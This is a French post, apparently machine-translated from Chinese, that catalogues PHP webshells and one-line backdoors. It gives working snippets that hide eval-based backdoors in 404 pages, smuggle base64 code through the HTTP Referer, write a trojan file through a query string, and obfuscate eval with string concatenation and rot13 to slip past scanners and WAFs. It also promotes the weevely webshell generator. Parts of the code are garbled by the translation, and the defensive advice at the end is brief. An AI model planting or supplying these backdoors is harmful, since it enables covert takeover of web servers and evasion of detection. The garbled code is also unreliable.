Nous traitons ces programmes PHP backdoor avec une mentalité d’apprentissage, et beaucoup de code backdoor PHP nous permet de voir à quel point les programmeurs sont bien intentionnés.
Une porte dérobée puissante en PHP en une phrase
Ce type de porte dérobée permet aux sites web,Les administrateurs de serveurs sont très problématiques et doivent souvent modifier les méthodes pour effectuer diverses détections, et de nombreuses nouvelles techniques d’écriture ne peuvent pas être découvertes ni traitées avec des méthodes de détection ordinaires.
Aujourd’hui, nous allons compter quelques chevaux de Troie PHP intéressants.
1. Cacher des poneys PHP à l’aide de 404 pages :
[mw_shl_code=php,vrai] < !DOCTYPE HTML PUBLIC « -//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Non trouvé</title> </head><body> <h1>Non trouvé</h1> <p>L’URL demandée n’a pas été trouvée sur ce serveur.</p> </body></html> < ?php @preg_replace(« /[pageerror]/e »,$_POST['error'],"saft ») ; en-tête ('HTTP/1.1 404 Non trouvé') ; ?>[/mw_shl_code]
La page 404 est un fichier couramment utilisé sur le site, et peu de gens le vérifient et le modifient après qu’il soit généralement recommandé, afin que nous puissions l’utiliser pour masquer la porte dérobée.
2. PHP caché sans caractéristiques en une phrase :
[mw_shl_code=php,true]< ?php session_start() ; $_POST['code'] & & $_SESSION['leCode'] = trim($_POST['code']) ; $_SESSION['theCode']&&preg_replace('\'a\'eis','e'. v’.‘ a’.‘ l’.‘ (base64_decode($_SESSION[\'theCode\'])','a') ; ?>[/mw_shl_code]
Attribuez $_POST['code'] à $_SESSION['leCode'], puis exécutez $_SESSION['leCode'], en soulignant qu’il n’y a pas de code de signature.
Si vous utilisez un outil de scan pour vérifier le code, cela ne s’alarmera pas et n’atteindra pas l’objectif.
3. Porte dérobée PHP super furtive :
[mw_shl_code=php,true]< ?php $_GET[a]($_GET);?> [/mw_shl_code]
La seule fonction GET constitue un cheval de Troie ;
Comment utiliser :
[mw_shl_code=php,vrai] ?a=assert&b=${fputs %28fopen %28base64_decode %28Yy5waHA %29,w %29,base64_decode %28P[/mw_shl_code]
Après exécution, le répertoire courant génère c.php un cheval de Troie de phrase, lorsque le paramètre A est évalué, la génération de cheval de Troie d’erreur a échoué, et lorsqu’il est asserté, il rapporte également une erreur, mais il génère un cheval de Troie, qu’il ne peut pas sous-estimer.
Demande de niveau, code pour exécuter PHP backdoor :
Cette méthode est implémentée avec deux fichiers, fichier 1
[mw_shl_code=php,true]< ?php
//1.php en-tête('Type-content :text/html ; charset = UTF-8′ ; parse_str($_SERVER['HTTP_REFERER'], $a) ; if(reset($a) == '10'&& count($a) == 9) { eval(base64_decode(str_replace( » « , « + », implosé(array_slice($a, 6))))) ;
} ?>[/mw_shl_code]
Document 2
[mw_shl_code=php,true]< ?php
//2.php en-tête('Type-content :text/html ; charset = UTF-8′ ;
//要执行的代码 $code= <<<CODE phpinfo() ; CODE ;
//进行base64编码 $code= base64_encode($code) ;
//构造referer字符串 $referer= « a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i= » ;
//后门url $url= 'http://localhost/test1/1.php' ; $ch= curl_init() ; $options= tableau( CURLOPT_URL => $url, CURLOPT_HEADER => FAUX, CURLOPT_RETURNTRANSFER => VRAI, CURLOPT_REFERER => $referer ); curl_setopt_array($ch, $options) ; echocurl_exec($ch) ; ?>[/mw_shl_code]
Faites passer du code encodé en base64 à travers le HTTP_REFERER dans la requête HTTP pour obtenir l’effet de porte dérobée.
C’est bien d’utiliser cette idée pour contourner le WAF.
4.PHP outil générateur de porte dérobée weevely
weevely est un modèle spécifique à PHPLe logiciel gratuit Webshell peut être utilisé pour simuler un shell de connexion similaire à telnet, Weevely est généralement utilisé pour l’exploitation de programmes web, la mascation des portes dérobées ou l’utilisation de méthodes de type telnet au lieu de la gestion basée sur des pages web, le code PHP côté serveur généré par Weevely est codé en base64, ce qui peut tromper les antivirus grand public et les IDS. Une fois que vous avez téléchargé le code côté serveur, vous pouvez généralement le faire passer directement via Weevely.
Les fonctions utilisées dans la porte dérobée sont des fonctions de traitement de chaînes couramment utilisées, et les fonctions telles que l’évaluation et le système utilisées comme règles d’inspection n’apparaîtront pas directement dans le code, de sorte que le fichier porte dérobée peut contourner la vérification de l’outil de recherche de porte dérobée. En scannant avec l’outil de détection de portes dérobées web du groupe sombre, le fichier n’est pas menacé.
Ce qui précède est une introduction générale, et les méthodes d’utilisation pertinentes ne sont pas présentées ici, une simple vulgarisation scientifique.
4. Trois chevaux PHP déformés d’une phrase La première :
[mw_shl_code=php,true]< ?php ($_=@$_GET[2]).@$_($_POST[1]) ?> [/mw_shl_code]
La seconde
[mw_shl_code=php,true]< ?php $_=“”; $_[+“”]=”; $_=“$_”.“”; $_=($_[+“”]|“ ”). ($_[+“”]|“”). ($_[+“”]^“”); ?> < ?php ${'_'.$_}['_'](${'_'.$_}['__'] ;?>[/mw_shl_code]
Écris http://site/2.php?_=assert&__=eval($_POST['pass']) mot de passe dans le couteau de cuisine est « pass ».
Si vous utilisez les données supplémentaires du couteau de cuisine, elles sont plus cachées, ou vous pouvez utiliser d’autres outils d’injection, car elles sont post-soumises.
Le troisième
[mw_shl_code=php,vrai] ($b 4dboy= $_POST['b4dboy']) & & @preg_replace('/ad/e','@'.str_rot13('riny').' ($b 4dboy)', 'ajouter') ; [/mw_shl_code]
str_rot13 (« riny ») est l’évaluation codée, qui évite complètement les mots-clés sans perdre l’effet, faisant vomir les gens du sang !
5. Enfin, listez quelques portes dérobées avancées de PHP :
1、
[mw_shl_code=php,true]$hh= « p ». r”.“ e”.“ g”.“ _”.“ r”.“ e”.“ p”.“ l”.“ a”.“ c”.“ e”; $hh (« /[discuz]/e », $_POST['h'], « Accès ») ; [/mw_shl_code]
//菜刀一句话
2、
[mw_shl_code=php,true]$filename=$_GET['xbid'] ; incluent ($filename) ; [/mw_shl_code]
//危险的include函数,直接编译任何文件为php格式运行
3、
[mw_shl_code=php,true]$reg="c ». » o”.“ p”.“ y”; $reg($_FILES[MonFichier][tmp_name],$_FILES[MonFichier][nom]) ; [/mw_shl_code]
//重命名任何文件
4、
[mw_shl_code=php,true]$gzid= « p ». r”.“ e”.“ g”.“ _”.“ r”.“ e”.“ p”.“ l”.“ a”.“ c”.“ e”; $gzid (« /[discuz]/e »,$_POST['h'],« Accès ») ; [/mw_shl_code]
//菜刀一句话
5、
[mw_shl_code=php,true]include($uid) ; [/mw_shl_code]
//危险的include函数,直接编译任何文件为php格式运行,POST [mw_shl_code=php,true]www.xxx.com/index.php?uid=/home/www/bbs/image.gif [/mw_shl_code]
//gif插一句话
En résumé, ces portes dérobées PHP peuvent être qualifiées de complètes, si vous n’êtes pas prudent, vous serez sûrement trompé, et quelle est la priorité absolue de notre article aujourd’hui ? Les points clés se trouvent dans le résumé ci-dessous !
Comment gérer la porte dérobée en une phrase de PHP : Nous insistons sur quelques points clés, et si vous lisez cet article, je pense que vous n’êtes pas un profane, donc je ne vais pas m’étendre :
- Soyez conscient de la sécurité lors de la rédaction de programmes PHP
- Les fichiers journaux serveur doivent être lus fréquemment et sauvegardés fréquemment
- Attribution stricte des permissions pour chaque site
- Révisions fréquentes de la sécurité par lots de fichiers dynamiques et de répertoires
- Apprenez à réaliser manuellement des antivirus « Jugement comportemental et enquête »
- Restez à l’écoute, ou infiltrez un camp de cybersécurité actif
- Même une fonction peut être utilisée comme règle pour le traitement hiérarchique de l’environnement serveur
Nous pensons que lorsqu’il y aura plus de sites à gérer et une grande quantité de données, nous devrions raisonnablement appliquer quelques outils auxiliaires, mais nous ne devrions pas dépendre entièrement de ces outils, la technologie est en constante mise à jour et en amélioration, l’essentiel est que vous appreniez et compreniez la façon d’écrire ces personnes puissantes de la porte dérobée, et la transposition de rôle peut vous apporter un plus grand progrès.
|